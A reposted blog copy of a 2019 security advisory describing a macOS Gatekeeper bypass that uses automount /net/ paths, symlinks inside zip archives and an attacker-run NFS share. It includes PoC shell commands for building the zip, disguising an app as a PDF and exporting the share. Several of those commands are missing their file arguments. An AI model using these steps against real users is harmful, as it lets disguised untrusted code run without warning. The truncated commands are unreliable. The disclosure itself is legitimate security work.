博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MacOS X GateKeeper Bypass
阅读量:6500 次
发布时间:2019-06-24

本文共 3598 字,大约阅读时间需要 11 分钟。

MacOS X GateKeeper Bypass

OVERVIEW
On MacOS X version <= 10.14.5 (at time of writing) is it possible to easily bypass Gatekeeper in order to
execute untrusted code without any warning or user's explicit permission.
Gatekeeper is a mechanism developed by Apple and included in MacOS X since 2012 that enforces code
signing and verifies downloaded applications before allowing them to run.
For example, if a user donwloads an application from internet and executes it, Gatekeeper will prevent it from
running without user's consens.
DETAILS
As per-design, Gatekeeper considers both external drives and network shares as safe locations and it allows
any application they contain to run.
By combining this design with two legitimate features of MacOS X, it will result in the complete deceivement of
the intended behaviour.
The first legit feature is automount (aka autofs) that allows a user to automatically mount a network share just
by accessing a "special" path, in this case, any path beginning with "/net/".
For example
ls /net/
will make the os read the content of the 'sharedfolder' on the remote host (evil-attacker.com) using NFS.
The second legit feature is that zip archives can contain symbolic links pointing to an arbitrary location
(including automount enpoints) and that the software on MacOS that is responsible to decompress zip files
do not perform any check on the symlinks before creatig them.
To better understand how this exploit works, let's consider the following scenario:
An attacker crafts a zip file containing a symbolic link to an automount endpoint she/he controls
(ex Documents -> /net/) and sends it to the victim.
The victim downloads the malicious archive, extracts it and follows the symlink.
Now the victim is in a location controlled by the attacker but trusted by Gatekeeper, so any attacker-controlled
executable can be run without any warning. The way Finder is designed (ex hide .app extensions, hide full path
from titlebar) makes this tecnique very effective and hard to spot.
The following video illustrates the concept
PoC
In order to reproduce this issue, follow the steps below:
• create a zip file with a symlink to an automount endpoint
• mkdir Documents
• ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
• zip -ry Documents.zip Documents
• create an application (.app folder) with the code you want to run
• cp -r /Applications/Calculator.app PDF.app
• echo -e '#!/bin/bash'"\n"'open /Applications/iTunes.app' >
• chmod +x
• rm
• ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns
• create a publicily accessible NFS share and put the .app in it
• ssh linux-vm.local
• mkdir -p /nfs/Documents
• echo '/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
• service nfs-kernel-server restart
• scp -r mymac.local:PDF.app /nfs/Documents/
• upload the zip somewhere in internet and download it so it gets the quarantine flag used by Gatekeeper
• extract the zip (if needed) and navigate it
HISTORY
The vendor has been contacted on February 22th 2019 and it's aware of this issue. This issue was supposed to be addressed, according t
 the vendor, on May 15th 2019 but Apple started dropping my emails.
Since Apple is aware of my 90 days disclosure deadline, I make this information public.
SOLUTION
No solution is available yet.
A possible workaround is to disable automount:
• Edit /etc/auto_master as root
• Comment the line beginning with '/net'
• Reboot
REFERENCES
CREDITS
Filippo Cavallarin

转载于:https://www.cnblogs.com/iAmSoScArEd/p/10996794.html

你可能感兴趣的文章
android实现图片识别的几种方法
查看>>
mvc学习地址
查看>>
masonry 基本用法
查看>>
使用openssl创建自签名证书及部署到IIS教程
查看>>
Word产品需求文档,已经过时了【转】
查看>>
dtoj#4299. 图(graph)
查看>>
关于网站的一些js和css常见问题的记录
查看>>
zabbix-3.4 触发器
查看>>
换用代理IP的Webbrowser方法
查看>>
【视频编解码·学习笔记】7. 熵编码算法:基础知识 & 哈夫曼编码
查看>>
spark集群安装部署
查看>>
MySql 查询表字段数
查看>>
mariadb 内存占用优化
查看>>
Centos7安装编译安装zabbix2.219及mariadb-5.5.46
查看>>
Visual Studio Remote Debugger(for 2005/2008) .net远程调试<转>
查看>>
怎么获得combobox的valueField值
查看>>
浅谈C/C++中的static和extern关键字
查看>>
Console-算法[if,while]-一输入两个正整数m和n,求其最大公约数和最小公倍数
查看>>
浅谈网络协议(四) IP的由来--DHCP与PXE
查看>>
jre与jdk的区别
查看>>